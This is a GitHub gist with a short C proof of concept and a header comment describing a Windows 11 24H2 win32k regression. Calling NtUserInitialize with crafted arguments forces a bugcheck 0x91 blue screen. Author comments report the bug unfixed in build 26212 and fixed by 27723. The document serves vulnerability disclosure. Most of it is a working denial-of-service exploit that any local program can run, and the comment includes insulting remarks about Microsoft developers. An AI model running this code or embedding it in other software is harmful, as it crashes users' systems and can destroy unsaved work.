Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Last active October 20, 2024 13:31
Show Gist options
  • Save hfiref0x/f731e690e6155c6763b801ce0e497db7 to your computer and use it in GitHub Desktop.
Save hfiref0x/f731e690e6155c6763b801ce0e497db7 to your computer and use it in GitHub Desktop.
Windows 11 Next-Gen (24H2) NtUserInitialize BSOD
/*
Windows 11 builds starting from 259XXX (24H2) switched to new way of storing win32k global variables, using WIN32KSGD.sys
driver which now allocates huge structure where it hold a lot of session related information, apiset tables etc.
However due to heavy remake there are new bugs introduced - one of it is a BSOD generator inside win32kbase!Win32kBaseUserInitialize
(which is ultimate destination of apiset obscure NtUserInitialize call).
What they did is removed a check if USER was already initialized, thus every code calling NtUserInitialize will go further and lay into
TCB privileges checking part which of course will fail in 99.99% situations and cause Windows to do bugcheck 0x91
WIN32K_INIT_OR_RIT_FAILURE.
This is a brilliant bug. Not sure if Rust is able to circumvent impact of newest generation of MS dudes incompetence so lets do some
Rust over Rust. Smart pointers, garbage collectors (garbage collectors for garbage collectors, smart pointers for smart pointers!
moar this bullshit, need moar), etc, just as all you love it.
This bug was found using NtCall64 v1.3.7
*/
#include <windows.h>
typedef LONG (WINAPI* pfnNtUserInitialize)(
ULONG_PTR reg1,
ULONG_PTR reg2,
ULONG_PTR reg3,
ULONG_PTR reg4);
int main()
{
pfnNtUserInitialize pfn;
LoadLibrary(L"user32.dll");
HMODULE hWin32u = GetModuleHandle(L"win32u.dll");
pfn = (pfnNtUserInitialize)GetProcAddress(hWin32u, "NtUserInitialize");
if (pfn)
pfn(0x00007FFFFFFEFFFF, 0xFFFF800000000000, 0x00007FFFFFFFFFFE, 0x000000000000FFFF);
}
@hfiref0x
Copy link
Author

Unfixed as of 26212 build.

@hfiref0x
Copy link
Author

Fixed after checking 27723 build.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment